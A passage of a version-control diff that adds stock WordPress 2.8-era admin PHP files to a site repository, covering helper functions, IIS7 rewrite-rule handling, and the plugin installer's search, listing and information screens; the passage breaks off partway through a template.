+	// If home changed, write rewrite rules to new location.
+	$wp_rewrite->flush_rules();
+}
+
+add_action( 'update_option_home', 'update_home_siteurl', 10, 2 );
+add_action( 'update_option_siteurl', 'update_home_siteurl', 10, 2 );
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $url
+ * @return unknown
+ */
+function url_shorten( $url ) {
+	$short_url = str_replace( 'http://', '', stripslashes( $url ));
+	$short_url = str_replace( 'www.', '', $short_url );
+	if ('/' == substr( $short_url, -1 ))
+		$short_url = substr( $short_url, 0, -1 );
+	if ( strlen( $short_url ) > 35 )
+		$short_url = substr( $short_url, 0, 32 ).'...';
+	return $short_url;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $vars
+ */
+function wp_reset_vars( $vars ) {
+	for ( $i=0; $i<count( $vars ); $i += 1 ) {
+		$var = $vars[$i];
+		global $$var;
+
+		if (!isset( $$var ) ) {
+			if ( empty( $_POST["$var"] ) ) {
+				if ( empty( $_GET["$var"] ) )
+					$$var = '';
+				else
+					$$var = $_GET["$var"];
+			} else {
+				$$var = $_POST["$var"];
+			}
+		}
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $message
+ */
+function show_message($message) {
+	if( is_wp_error($message) ){
+		if( $message->get_error_data() )
+			$message = $message->get_error_message() . ': ' . $message->get_error_data();
+		else
+			$message = $message->get_error_message();
+	}
+	echo "<p>$message</p>\n";
+}
+
+function wp_doc_link_parse( $content ) {
+	if ( !is_string( $content ) || empty( $content ) )
+		return array();
+
+	if ( !function_exists('token_get_all') )
+		return array();
+
+	$tokens = token_get_all( $content );
+	$functions = array();
+	$ignore_functions = array();
+	for ( $t = 0, $count = count( $tokens ); $t < $count; $t++ ) {
+		if ( !is_array( $tokens[$t] ) ) continue;
+		if ( T_STRING == $tokens[$t][0] && ( '(' == $tokens[ $t + 1 ] || '(' == $tokens[ $t + 2 ] ) ) {
+			// If it's a function or class defined locally, there's not going to be any docs available
+			if ( ( isset( $tokens[ $t - 2 ][1] ) && in_array( $tokens[ $t - 2 ][1], array( 'function', 'class' ) ) ) || ( isset( $tokens[ $t - 2 ][0] ) && T_OBJECT_OPERATOR == $tokens[ $t - 1 ][0] ) ) {
+				$ignore_functions[] = $tokens[$t][1];
+			}
+			// Add this to our stack of unique references
+			$functions[] = $tokens[$t][1];
+		}
+	}
+
+	$functions = array_unique( $functions );
+	sort( $functions );
+	$ignore_functions = apply_filters( 'documentation_ignore_functions', $ignore_functions );
+	$ignore_functions = array_unique( $ignore_functions );
+
+	$out = array();
+	foreach ( $functions as $function ) {
+		if ( in_array( $function, $ignore_functions ) )
+			continue;
+		$out[] = $function;
+	}
+
+	return $out;
+}
+
+/**
+ * Determines the language to use for CodePress syntax highlighting,
+ * based only on a filename.
+ *
+ * @since 2.8
+ *
+ * @param string $filename The name of the file to be highlighting
+**/
+function codepress_get_lang( $filename ) {
+	$codepress_supported_langs = apply_filters( 'codepress_supported_langs',
+									array( '.css' => 'css',
+											'.js' => 'javascript',
+											'.php' => 'php',
+											'.html' => 'html',
+											'.htm' => 'html',
+											'.txt' => 'text'
+											) );
+	$extension = substr( $filename, strrpos( $filename, '.' ) );
+	if ( $extension && array_key_exists( $extension, $codepress_supported_langs ) )
+		return $codepress_supported_langs[$extension];
+
+	return 'generic';
+}
+
+/**
+ * Adds Javascript required to make CodePress work on the theme/plugin editors.
+ *
+ * This code is attached to the action admin_print_footer_scripts.
+ *
+ * @since 2.8
+**/
+function codepress_footer_js() {
+	// Script-loader breaks CP's automatic path-detection, thus CodePress.path
+	// CP edits in an iframe, so we need to grab content back into normal form
+	?><script type="text/javascript">
+/* <![CDATA[ */
+var codepress_path = '<?php echo includes_url('js/codepress/'); ?>';
+jQuery('#template').submit(function(){
+	if (jQuery('#newcontent_cp').length)
+		jQuery('#newcontent_cp').val(newcontent.getCode()).removeAttr('disabled');
+});
+jQuery('#codepress-on').hide();
+jQuery('#codepress-off').show();
+/* ]]> */
+</script>
+<?php
+}
+
+/**
+ * Determine whether to use CodePress or not.
+ *
+ * @since 2.8
+**/
+function use_codepress() {
+
+	if ( isset($_GET['codepress']) ) {
+		$on = 'on' == $_GET['codepress'] ? 'on' : 'off';
+		set_user_setting( 'codepress', $on );
+	} else {
+		$on = get_user_setting('codepress', 'on');
+	}
+
+	if ( 'on' == $on ) {
+		add_action( 'admin_print_footer_scripts', 'codepress_footer_js' );
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * Saves option for number of rows when listing posts, pages, comments, etc.
+ *
+ * @since 2.8
+**/
+function set_screen_options() {
+
+	if ( isset($_POST['wp_screen_options']) && is_array($_POST['wp_screen_options']) ) {
+		check_admin_referer( 'screen-options-nonce', 'screenoptionnonce' );
+
+		if ( !$user = wp_get_current_user() )
+			return;
+		$option = $_POST['wp_screen_options']['option'];
+		$value = $_POST['wp_screen_options']['value'];
+
+		if ( !preg_match( '/^[a-z_-]+$/', $option ) )
+			return;
+
+		$option = str_replace('-', '_', $option);
+
+		switch ( $option ) {
+			case 'edit_per_page':
+			case 'edit_pages_per_page':
+			case 'edit_comments_per_page':
+			case 'upload_per_page':
+			case 'categories_per_page':
+			case 'edit_tags_per_page':
+			case 'plugins_per_page':
+				$value = (int) $value;
+				if ( $value < 1 || $value > 999 )
+					return;
+				break;
+			default:
+				$value = apply_filters('set-screen-option', false, $option, $value);
+				if ( false === $value )
+					return;
+				break;
+		}
+
+		update_usermeta($user->ID, $option, $value);
+		wp_redirect( remove_query_arg( array('pagenum', 'apage', 'paged'), wp_get_referer() ) );
+		exit;
+	}
+}
+
+function wp_menu_unfold() {
+	if ( isset($_GET['unfoldmenu']) ) {
+		delete_user_setting('mfold');
+		wp_redirect( remove_query_arg( 'unfoldmenu', stripslashes($_SERVER['REQUEST_URI']) ) );
+	 	exit;
+	}
+}
+
+/**
+ * Check if IIS 7 supports pretty permalinks
+ *
+ * @since 2.8.0
+ *
+ * @return bool
+ */
+function iis7_supports_permalinks() {
+	global $is_iis7;
+
+	$supports_permalinks = false;
+	if ( $is_iis7 ) {
+		/* First we check if the DOMDocument class exists. If it does not exist,
+		 * which is the case for PHP 4.X, then we cannot easily update the xml configuration file,
+		 * hence we just bail out and tell user that pretty permalinks cannot be used.
+		 * This is not a big issue because PHP 4.X is going to be depricated and for IIS it
+		 * is recommended to use PHP 5.X NTS.
+		 * Next we check if the URL Rewrite Module 1.1 is loaded and enabled for the web site. When
+		 * URL Rewrite 1.1 is loaded it always sets a server variable called 'IIS_UrlRewriteModule'.
+		 * Lastly we make sure that PHP is running via FastCGI. This is important because if it runs
+		 * via ISAPI then pretty permalinks will not work.
+		 */
+		$supports_permalinks = class_exists('DOMDocument') && isset($_SERVER['IIS_UrlRewriteModule']) && ( php_sapi_name() == 'cgi-fcgi' );
+	}
+
+	return apply_filters('iis7_supports_permalinks', $supports_permalinks);
+}
+
+/**
+ * Check if rewrite rule for WordPress already exists in the IIS 7 configuration file
+ *
+ * @since 2.8.0
+ *
+ * @return bool
+ * @param string $filename The file path to the configuration file
+ */
+function iis7_rewrite_rule_exists($filename) {
+	if ( ! file_exists($filename) )
+		return false;
+	if ( ! class_exists('DOMDocument') )
+		return false;
+
+	$doc = new DOMDocument();
+	if ( $doc->load($filename) === false )
+		return false;
+	$xpath = new DOMXPath($doc);
+	$rules = $xpath->query('/configuration/system.webServer/rewrite/rules/rule[@name=\'wordpress\']');
+	if ( $rules->length == 0 )
+		return false;
+	else
+		return true;
+}
+
+/**
+ * Delete WordPress rewrite rule from web.config file if it exists there
+ *
+ * @since 2.8.0
+ *
+ * @param string $filename Name of the configuration file
+ * @return bool
+ */
+function iis7_delete_rewrite_rule($filename) {
+	// If configuration file does not exist then rules also do not exist so there is nothing to delete
+	if ( ! file_exists($filename) )
+		return true;
+
+	if ( ! class_exists('DOMDocument') )
+		return false;
+
+	$doc = new DOMDocument();
+	$doc->preserveWhiteSpace = false;
+
+	if ( $doc -> load($filename) === false )
+		return false;
+	$xpath = new DOMXPath($doc);
+	$rules = $xpath->query('/configuration/system.webServer/rewrite/rules/rule[@name=\'wordpress\']');
+	if ( $rules->length > 0 ) {
+		$child = $rules->item(0);
+		$parent = $child->parentNode;
+		$parent->removeChild($child);
+		$doc->formatOutput = true;
+		saveDomDocument($doc, $filename);
+	}
+	return true;
+}
+
+/**
+ * Add WordPress rewrite rule to the IIS 7 configuration file.
+ *
+ * @since 2.8.0
+ *
+ * @param string $filename The file path to the configuration file
+ * @param string $rewrite_rule The XML fragment with URL Rewrite rule
+ * @return bool
+ */
+function iis7_add_rewrite_rule($filename, $rewrite_rule) {
+	if ( ! class_exists('DOMDocument') )
+		return false;
+
+	// If configuration file does not exist then we create one.
+	if ( ! file_exists($filename) ) {
+		$fp = fopen( $filename, 'w');
+		fwrite($fp, '<configuration/>');
+		fclose($fp);
+	}
+
+	$doc = new DOMDocument();
+	$doc->preserveWhiteSpace = false;
+
+	if ( $doc->load($filename) === false )
+		return false;
+
+	$xpath = new DOMXPath($doc);
+
+	// First check if the rule already exists as in that case there is no need to re-add it
+	$wordpress_rules = $xpath->query('/configuration/system.webServer/rewrite/rules/rule[@name=\'wordpress\']');
+	if ( $wordpress_rules->length > 0 )
+		return true;
+
+	// Check the XPath to the rewrite rule and create XML nodes if they do not exist
+	$xmlnodes = $xpath->query('/configuration/system.webServer/rewrite/rules');
+	if ( $xmlnodes->length > 0 ) {
+		$rules_node = $xmlnodes->item(0);
+	} else {
+		$rules_node = $doc->createElement('rules');
+
+		$xmlnodes = $xpath->query('/configuration/system.webServer/rewrite');
+		if ( $xmlnodes->length > 0 ) {
+			$rewrite_node = $xmlnodes->item(0);
+			$rewrite_node->appendChild($rules_node);
+		} else {
+			$rewrite_node = $doc->createElement('rewrite');
+			$rewrite_node->appendChild($rules_node);
+
+			$xmlnodes = $xpath->query('/configuration/system.webServer');
+			if ( $xmlnodes->length > 0 ) {
+				$system_webServer_node = $xmlnodes->item(0);
+				$system_webServer_node->appendChild($rewrite_node);
+			} else {
+				$system_webServer_node = $doc->createElement('system.webServer');
+				$system_webServer_node->appendChild($rewrite_node);
+
+				$xmlnodes = $xpath->query('/configuration');
+				if ( $xmlnodes->length > 0 ) {
+					$config_node = $xmlnodes->item(0);
+					$config_node->appendChild($system_webServer_node);
+				} else {
+					$config_node = $doc->createElement('configuration');
+					$doc->appendChild($config_node);
+					$config_node->appendChild($system_webServer_node);
+				}
+			}
+		}
+	}
+
+	$rule_fragment = $doc->createDocumentFragment();
+	$rule_fragment->appendXML($rewrite_rule);
+	$rules_node->appendChild($rule_fragment);
+
+	$doc->formatOutput = true;
+	saveDomDocument($doc, $filename);
+
+	return true;
+}
+
+/**
+ * Saves the XML document into a file
+ *
+ * @since 2.8.0
+ *
+ * @param DOMDocument $doc
+ * @param string $filename
+ */
+function saveDomDocument($doc, $filename) {
+	$config = $doc->saveXML();
+	$config = preg_replace("/([^\r])\n/", "$1\r\n", $config);
+	$fp = fopen($filename, 'w');
+	fwrite($fp, $config);
+	fclose($fp);
+}
+
+/**
+ * Workaround for Windows bug in is_writable() function
+ *
+ * @since 2.8.0
+ *
+ * @param object $path
+ * @return bool
+ */
+function win_is_writable($path) {
+	/* will work in despite of Windows ACLs bug
+	 * NOTE: use a trailing slash for folders!!!
+	 * see http://bugs.php.net/bug.php?id=27609
+	 * see http://bugs.php.net/bug.php?id=30931
+	 */
+
+    if ( $path{strlen($path)-1} == '/' ) // recursively return a temporary file path
+        return win_is_writable($path . uniqid(mt_rand()) . '.tmp');
+    else if ( is_dir($path) )
+        return win_is_writable($path . '/' . uniqid(mt_rand()) . '.tmp');
+    // check tmp file for read/write capabilities
+    $rm = file_exists($path);
+    $f = @fopen($path, 'a');
+    if ($f===false)
+        return false;
+    fclose($f);
+    if ( ! $rm )
+        unlink($path);
+    return true;
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/plugin-install.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/plugin-install.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/plugin-install.php	(revision 44)
@@ -0,0 +1,562 @@
+<?php
+/**
+ * WordPress Plugin Install Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Retrieve plugin installer pages from WordPress Plugins API.
+ *
+ * It is possible for a plugin to override the Plugin API result with three
+ * filters. Assume this is for plugins, which can extend on the Plugin Info to
+ * offer more choices. This is very powerful and must be used with care, when
+ * overridding the filters.
+ *
+ * The first filter, 'plugins_api_args', is for the args and gives the action as
+ * the second parameter. The hook for 'plugins_api_args' must ensure that an
+ * object is returned.
+ *
+ * The second filter, 'plugins_api', is the result that would be returned.
+ *
+ * @since 2.7.0
+ *
+ * @param string $action
+ * @param array|object $args Optional. Arguments to serialize for the Plugin Info API.
+ * @return mixed
+ */
+function plugins_api($action, $args = null) {
+
+	if( is_array($args) )
+		$args = (object)$args;
+
+	if ( !isset($args->per_page) )
+		$args->per_page = 24;
+
+	$args = apply_filters('plugins_api_args', $args, $action); //NOTE: Ensure that an object is returned via this filter.
+	$res = apply_filters('plugins_api', false, $action, $args); //NOTE: Allows a plugin to completely override the builtin WordPress.org API.
+
+	if ( ! $res ) {
+		$request = wp_remote_post('http://api.wordpress.org/plugins/info/1.0/', array( 'body' => array('action' => $action, 'request' => serialize($args))) );
+		if ( is_wp_error($request) ) {
+			$res = new WP_Error('plugins_api_failed', __('An Unexpected HTTP Error occurred during the API request.</p> <p><a href="?" onclick="document.location.reload(); return false;">Try again</a>'), $request->get_error_message() );
+		} else {
+			$res = unserialize($request['body']);
+			if ( ! $res )
+				$res = new WP_Error('plugins_api_failed', __('An unknown error occurred'), $request['body']);
+		}
+	} elseif ( !is_wp_error($res) ) {
+		$res->external = true;
+	}
+
+	return apply_filters('plugins_api_result', $res, $action, $args);
+}
+
+/**
+ * Retrieve popular WordPress plugin tags.
+ *
+ * @since 2.7.0
+ *
+ * @param array $args
+ * @return array
+ */
+function install_popular_tags( $args = array() ) {
+	if ( ! ($cache = wp_cache_get('popular_tags', 'api')) && ! ($cache = get_option('wporg_popular_tags')) )
+		add_option('wporg_popular_tags', array(), '', 'no'); ///No autoload.
+
+	if ( $cache && $cache->timeout + 3 * 60 * 60 > time() )
+		return $cache->cached;
+
+	$tags = plugins_api('hot_tags', $args);
+
+	if ( is_wp_error($tags) )
+		return $tags;
+
+	$cache = (object) array('timeout' => time(), 'cached' => $tags);
+
+	update_option('wporg_popular_tags', $cache);
+	wp_cache_set('popular_tags', $cache, 'api');
+
+	return $tags;
+}
+add_action('install_plugins_search', 'install_search', 10, 1);
+
+/**
+ * Display search results and display as tag cloud.
+ *
+ * @since 2.7.0
+ *
+ * @param string $page
+ */
+function install_search($page) {
+	$type = isset($_REQUEST['type']) ? stripslashes( $_REQUEST['type'] ) : '';
+	$term = isset($_REQUEST['s']) ? stripslashes( $_REQUEST['s'] ) : '';
+
+	$args = array();
+
+	switch( $type ){
+		case 'tag':
+			$args['tag'] = sanitize_title_with_dashes($term);
+			break;
+		case 'term':
+			$args['search'] = $term;
+			break;
+		case 'author':
+			$args['author'] = $term;
+			break;
+	}
+
+	$args['page'] = $page;
+
+	$api = plugins_api('query_plugins', $args);
+
+	if ( is_wp_error($api) )
+		wp_die($api);
+
+	add_action('install_plugins_table_header', 'install_search_form');
+
+	display_plugins_table($api->plugins, $api->info['page'], $api->info['pages']);
+
+	return;
+}
+
+add_action('install_plugins_dashboard', 'install_dashboard');
+function install_dashboard() {
+	?>
+	<p><?php _e('Plugins extend and expand the functionality of WordPress. You may automatically install plugins from the <a href="http://wordpress.org/extend/plugins/">WordPress Plugin Directory</a> or upload a plugin in .zip format via this page.') ?></p>
+
+	<h4><?php _e('Search') ?></h4>
+	<p class="install-help"><?php _e('Search for plugins by keyword, author, or tag.') ?></p>
+	<?php install_search_form(); ?>
+
+	<h4><?php _e('Popular tags') ?></h4>
+	<p class="install-help"><?php _e('You may also browse based on the most popular tags in the Plugin Directory:') ?></p>
+	<?php
+
+	$api_tags = install_popular_tags();
+
+	//Set up the tags in a way which can be interprated by wp_generate_tag_cloud()
+	$tags = array();
+	foreach ( (array)$api_tags as $tag )
+		$tags[ $tag['name'] ] = (object) array(
+								'link' => esc_url( admin_url('plugin-install.php?tab=search&type=tag&s=' . urlencode($tag['name'])) ),
+								'name' => $tag['name'],
+								'id' => sanitize_title_with_dashes($tag['name']),
+								'count' => $tag['count'] );
+	echo '<p class="popular-tags">';
+	echo wp_generate_tag_cloud($tags, array( 'single_text' => __('%d plugin'), 'multiple_text' => __('%d plugins') ) );
+	echo '</p><br class="clear" />';
+}
+
+/**
+ * Display search form for searching plugins.
+ *
+ * @since 2.7.0
+ */
+function install_search_form(){
+	$type = isset($_REQUEST['type']) ? stripslashes( $_REQUEST['type'] ) : '';
+	$term = isset($_REQUEST['s']) ? stripslashes( $_REQUEST['s'] ) : '';
+
+	?><form id="search-plugins" method="post" action="<?php echo admin_url('plugin-install.php?tab=search'); ?>">
+		<select name="type" id="typeselector">
+			<option value="term"<?php selected('term', $type) ?>><?php _e('Term'); ?></option>
+			<option value="author"<?php selected('author', $type) ?>><?php _e('Author'); ?></option>
+			<option value="tag"<?php selected('tag', $type) ?>><?php echo _x('Tag', 'Plugin Installer'); ?></option>
+		</select>
+		<input type="text" name="s" value="<?php echo esc_attr($term) ?>" />
+		<label class="screen-reader-text" for="plugin-search-input"><?php _e('Search Plugins'); ?></label>
+		<input type="submit" id="plugin-search-input" name="search" value="<?php esc_attr_e('Search Plugins'); ?>" class="button" />
+	</form><?php
+}
+
+add_action('install_plugins_featured', 'install_featured', 10, 1);
+/**
+ * Display featured plugins.
+ *
+ * @since 2.7.0
+ *
+ * @param string $page
+ */
+function install_featured($page = 1) {
+	$args = array('browse' => 'featured', 'page' => $page);
+	$api = plugins_api('query_plugins', $args);
+	if ( is_wp_error($api) )
+		wp_die($api);
+	display_plugins_table($api->plugins, $api->info['page'], $api->info['pages']);
+}
+
+add_action('install_plugins_popular', 'install_popular', 10, 1);
+/**
+ * Display popular plugins.
+ *
+ * @since 2.7.0
+ *
+ * @param string $page
+ */
+function install_popular($page = 1) {
+	$args = array('browse' => 'popular', 'page' => $page);
+	$api = plugins_api('query_plugins', $args);
+	display_plugins_table($api->plugins, $api->info['page'], $api->info['pages']);
+}
+
+add_action('install_plugins_upload', 'install_plugins_upload', 10, 1);
+/**
+ * Upload from zip
+ * @since 2.8.0
+ *
+ * @param string $page
+ */
+function install_plugins_upload( $page = 1 ) {
+?>
+	<h4><?php _e('Install a plugin in .zip format') ?></h4>
+	<p class="install-help"><?php _e('If you have a plugin in a .zip format, You may install it by uploading it here.') ?></p>
+	<form method="post" enctype="multipart/form-data" action="<?php echo admin_url('update.php?action=upload-plugin') ?>">
+		<?php wp_nonce_field( 'plugin-upload') ?>
+		<label class="screen-reader-text" for="pluginzip"><?php _e('Plugin zip file'); ?></label>
+		<input type="file" id="pluginzip" name="pluginzip" />
+		<input type="submit" class="button" value="<?php esc_attr_e('Install Now') ?>" />
+	</form>
+<?php
+}
+
+add_action('install_plugins_new', 'install_new', 10, 1);
+/**
+ * Display new plugins.
+ *
+ * @since 2.7.0
+ *
+ * @param string $page
+ */
+function install_new($page = 1) {
+	$args = array('browse' => 'new', 'page' => $page);
+	$api = plugins_api('query_plugins', $args);
+	if ( is_wp_error($api) )
+		wp_die($api);
+	display_plugins_table($api->plugins, $api->info['page'], $api->info['pages']);
+}
+add_action('install_plugins_updated', 'install_updated', 10, 1);
+
+
+/**
+ * Display recently updated plugins.
+ *
+ * @since 2.7.0
+ *
+ * @param string $page
+ */
+function install_updated($page = 1) {
+	$args = array('browse' => 'updated', 'page' => $page);
+	$api = plugins_api('query_plugins', $args);
+	display_plugins_table($api->plugins, $api->info['page'], $api->info['pages']);
+}
+
+/**
+ * Display plugin content based on plugin list.
+ *
+ * @since 2.7.0
+ *
+ * @param array $plugins List of plugins.
+ * @param string $page
+ * @param int $totalpages Number of pages.
+ */
+function display_plugins_table($plugins, $page = 1, $totalpages = 1){
+	$type = isset($_REQUEST['type']) ? stripslashes( $_REQUEST['type'] ) : '';
+	$term = isset($_REQUEST['s']) ? stripslashes( $_REQUEST['s'] ) : '';
+
+	$plugins_allowedtags = array('a' => array('href' => array(),'title' => array(), 'target' => array()),
+								'abbr' => array('title' => array()),'acronym' => array('title' => array()),
+								'code' => array(), 'pre' => array(), 'em' => array(),'strong' => array(),
+								'ul' => array(), 'ol' => array(), 'li' => array(), 'p' => array(), 'br' => array());
+
+?>
+	<div class="tablenav">
+		<div class="alignleft actions">
+		<?php do_action('install_plugins_table_header'); ?>
+		</div>
+		<?php
+			$url = esc_url($_SERVER['REQUEST_URI']);
+			if ( ! empty($term) )
+				$url = add_query_arg('s', $term, $url);
+			if ( ! empty($type) )
+				$url = add_query_arg('type', $type, $url);
+
+			$page_links = paginate_links( array(
+				'base' => add_query_arg('paged', '%#%', $url),
+				'format' => '',
+				'prev_text' => __('&laquo;'),
+				'next_text' => __('&raquo;'),
+				'total' => $totalpages,
+				'current' => $page
+			));
+
+			if ( $page_links )
+				echo "\t\t<div class='tablenav-pages'>$page_links</div>";
+?>
+		<br class="clear" />
+	</div>
+	<table class="widefat" id="install-plugins" cellspacing="0">
+		<thead>
+			<tr>
+				<th scope="col" class="name"><?php _e('Name'); ?></th>
+				<th scope="col" class="num"><?php _e('Version'); ?></th>
+				<th scope="col" class="num"><?php _e('Rating'); ?></th>
+				<th scope="col" class="desc"><?php _e('Description'); ?></th>
+				<th scope="col" class="action-links"><?php _e('Actions'); ?></th>
+			</tr>
+		</thead>
+
+		<tfoot>
+			<tr>
+				<th scope="col" class="name"><?php _e('Name'); ?></th>
+				<th scope="col" class="num"><?php _e('Version'); ?></th>
+				<th scope="col" class="num"><?php _e('Rating'); ?></th>
+				<th scope="col" class="desc"><?php _e('Description'); ?></th>
+				<th scope="col" class="action-links"><?php _e('Actions'); ?></th>
+			</tr>
+		</tfoot>
+
+		<tbody class="plugins">
+		<?php
+			if( empty($plugins) )
+				echo '<tr><td colspan="5">', __('No plugins match your request.'), '</td></tr>';
+
+			foreach( (array) $plugins as $plugin ){
+				if ( is_object($plugin) )
+					$plugin = (array) $plugin;
+
+				$title = wp_kses($plugin['name'], $plugins_allowedtags);
+				//Limit description to 400char, and remove any HTML.
+				$description = strip_tags($plugin['description']);
+				if ( strlen($description) > 400 )
+					$description = mb_substr($description, 0, 400) . '&#8230;';
+				//remove any trailing entities
+				$description = preg_replace('/&[^;\s]{0,6}$/', '', $description);
+				//strip leading/trailing & multiple consecutive lines
+				$description = trim($description);
+				$description = preg_replace("|(\r?\n)+|", "\n", $description);
+				//\n => <br>
+				$description = nl2br($description);
+				$version = wp_kses($plugin['version'], $plugins_allowedtags);
+
+				$name = strip_tags($title . ' ' . $version);
+
+				$author = $plugin['author'];
+				if( ! empty($plugin['author']) )
+					$author = ' <cite>' . sprintf( __('By %s'), $author ) . '.</cite>';
+
+				$author = wp_kses($author, $plugins_allowedtags);
+
+				if( isset($plugin['homepage']) )
+					$title = '<a target="_blank" href="' . esc_attr($plugin['homepage']) . '">' . $title . '</a>';
+
+				$action_links = array();
+				$action_links[] = '<a href="' . admin_url('plugin-install.php?tab=plugin-information&amp;plugin=' . $plugin['slug'] .
+									'&amp;TB_iframe=true&amp;width=600&amp;height=550') . '" class="thickbox onclick" title="' .
+									esc_attr($name) . '">' . __('Install') . '</a>';
+
+				$action_links = apply_filters('plugin_install_action_links', $action_links, $plugin);
+			?>
+			<tr>
+				<td class="name"><?php echo $title; ?></td>
+				<td class="vers"><?php echo $version; ?></td>
+				<td class="vers">
+					<div class="star-holder" title="<?php printf(_n('(based on %s rating)', '(based on %s ratings)', $plugin['num_ratings']), number_format_i18n($plugin['num_ratings'])) ?>">
+						<div class="star star-rating" style="width: <?php echo esc_attr($plugin['rating']) ?>px"></div>
+						<div class="star star5"><img src="<?php echo admin_url('images/star.gif'); ?>" alt="<?php _e('5 stars') ?>" /></div>
+						<div class="star star4"><img src="<?php echo admin_url('images/star.gif'); ?>" alt="<?php _e('4 stars') ?>" /></div>
+						<div class="star star3"><img src="<?php echo admin_url('images/star.gif'); ?>" alt="<?php _e('3 stars') ?>" /></div>
+						<div class="star star2"><img src="<?php echo admin_url('images/star.gif'); ?>" alt="<?php _e('2 stars') ?>" /></div>
+						<div class="star star1"><img src="<?php echo admin_url('images/star.gif'); ?>" alt="<?php _e('1 star') ?>" /></div>
+					</div>
+				</td>
+				<td class="desc"><?php echo $description, $author; ?></td>
+				<td class="action-links"><?php if ( !empty($action_links) )	echo implode(' | ', $action_links); ?></td>
+			</tr>
+			<?php
+			}
+			?>
+		</tbody>
+	</table>
+
+	<div class="tablenav">
+		<?php if ( $page_links )
+				echo "\t\t<div class='tablenav-pages'>$page_links</div>"; ?>
+		<br class="clear" />
+	</div>
+
+<?php
+}
+
+add_action('install_plugins_pre_plugin-information', 'install_plugin_information');
+
+/**
+ * Display plugin information in dialog box form.
+ *
+ * @since 2.7.0
+ */
+function install_plugin_information() {
+	global $tab;
+
+	$api = plugins_api('plugin_information', array('slug' => stripslashes( $_REQUEST['plugin'] ) ));
+
+	if ( is_wp_error($api) )
+		wp_die($api);
+
+	$plugins_allowedtags = array('a' => array('href' => array(), 'title' => array(), 'target' => array()),
+								'abbr' => array('title' => array()), 'acronym' => array('title' => array()),
+								'code' => array(), 'pre' => array(), 'em' => array(), 'strong' => array(),
+								'div' => array(), 'p' => array(), 'ul' => array(), 'ol' => array(), 'li' => array(),
+								'h1' => array(), 'h2' => array(), 'h3' => array(), 'h4' => array(), 'h5' => array(), 'h6' => array(),
+								'img' => array('src' => array(), 'class' => array(), 'alt' => array()));
+	//Sanitize HTML
+	foreach ( (array)$api->sections as $section_name => $content )
+		$api->sections[$section_name] = wp_kses($content, $plugins_allowedtags);
+	foreach ( array('version', 'author', 'requires', 'tested', 'homepage', 'downloaded', 'slug') as $key )
+		$api->$key = wp_kses($api->$key, $plugins_allowedtags);
+
+	$section = isset($_REQUEST['section']) ? stripslashes( $_REQUEST['section'] ) : 'description'; //Default to the Description tab, Do not translate, API returns English.
+	if( empty($section) || ! isset($api->sections[ $section ]) )
+		$section = array_shift( $section_titles = array_keys((array)$api->sections) );
+
+	iframe_header( __('Plugin Install') );
+	echo "<div id='$tab-header'>\n";
+	echo "<ul id='sidemenu'>\n";
+	foreach ( (array)$api->sections as $section_name => $content ) {
+
+		$title = $section_name;
+		$title = ucwords(str_replace('_', ' ', $title));
+
+		$class = ( $section_name == $section ) ? ' class="current"' : '';
+		$href = add_query_arg( array('tab' => $tab, 'section' => $section_name) );
+		$href = esc_url($href);
+		$san_title = esc_attr(sanitize_title_with_dashes($title));
+		echo "\t<li><a name='$san_title' target='' href='$href'$class>$title</a></li>\n";
+	}
+	echo "</ul>\n";
+	echo "</div>\n";
+	?>
+	<div class="alignright fyi">
+		<?php if ( ! empty($api->download_link) ) : ?>
+		<p class="action-button">
+		<?php
+			//Default to a "new" plugin
+			$type = 'install';
+			//Check to see if this plugin is known to be installed, and has an update awaiting it.
+			$update_plugins = get_transient('update_plugins');
+			if ( is_object( $update_plugins ) ) {
+				foreach ( (array)$update_plugins->response as $file => $plugin ) {
+					if ( $plugin->slug === $api->slug ) {
+						$type = 'update_available';
+						$update_file = $file;
+						break;
+					}
+				}
+			}
+			if ( 'install' == $type && is_dir( WP_PLUGIN_DIR  . '/' . $api->slug ) ) {
+				$installed_plugin = get_plugins('/' . $api->slug);
+				if ( ! empty($installed_plugin) ) {
+					$key = array_shift( $key = array_keys($installed_plugin) ); //Use the first plugin regardless of the name, Could have issues for multiple-plugins in one directory if they share different version numbers
+					if ( version_compare($api->version, $installed_plugin[ $key ]['Version'], '=') ){
+						$type = 'latest_installed';
+					} elseif ( version_compare($api->version, $installed_plugin[ $key ]['Version'], '<') ) {
+						$type = 'newer_installed';
+						$newer_version = $installed_plugin[ $key ]['Version'];
+					} else {
+						//If the above update check failed, Then that probably means that the update checker has out-of-date information, force a refresh
+						delete_transient('update_plugins');
+						$update_file = $api->slug . '/' . $key; //This code branch only deals with a plugin which is in a folder the same name as its slug, Doesnt support plugins which have 'non-standard' names
+						$type = 'update_available';
+					}
+				}
+			}
+
+			switch ( $type ) :
+				default:
+				case 'install':
+					if ( current_user_can('install_plugins') ) :
+				?><a href="<?php echo wp_nonce_url(admin_url('update.php?action=install-plugin&plugin=' . $api->slug), 'install-plugin_' . $api->slug) ?>" target="_parent"><?php _e('Install Now') ?></a><?php
+					endif;
+				break;
+				case 'update_available':
+					if ( current_user_can('update_plugins') ) :
+						?><a href="<?php echo wp_nonce_url(admin_url('update.php?action=upgrade-plugin&plugin=' . $update_file), 'upgrade-plugin_' . $update_file) ?>" target="_parent"><?php _e('Install Update Now') ?></a><?php
+					endif;
+				break;
+				case 'newer_installed':
+					if ( current_user_can('install_plugins') || current_user_can('update_plugins') ) :
+					?><a><?php printf(__('Newer Version (%s) Installed'), $newer_version) ?></a><?php
+					endif;
+				break;
+				case 'latest_installed':
+					if ( current_user_can('install_plugins') || current_user_can('update_plugins') ) :
+					?><a><?php _e('Latest Version Installed') ?></a><?php
+					endif;
+				break;
+			endswitch; ?>
+		</p>
+		<?php endif; ?>
+		<h2 class="mainheader"><?php _e('FYI') ?></h2>
+		<ul>
+<?php if ( ! empty($api->version) ) : ?>
+			<li><strong><?php _e('Version:') ?></strong> <?php echo $api->version ?></li>
+<?php endif; if ( ! empty($api->author) ) : ?>
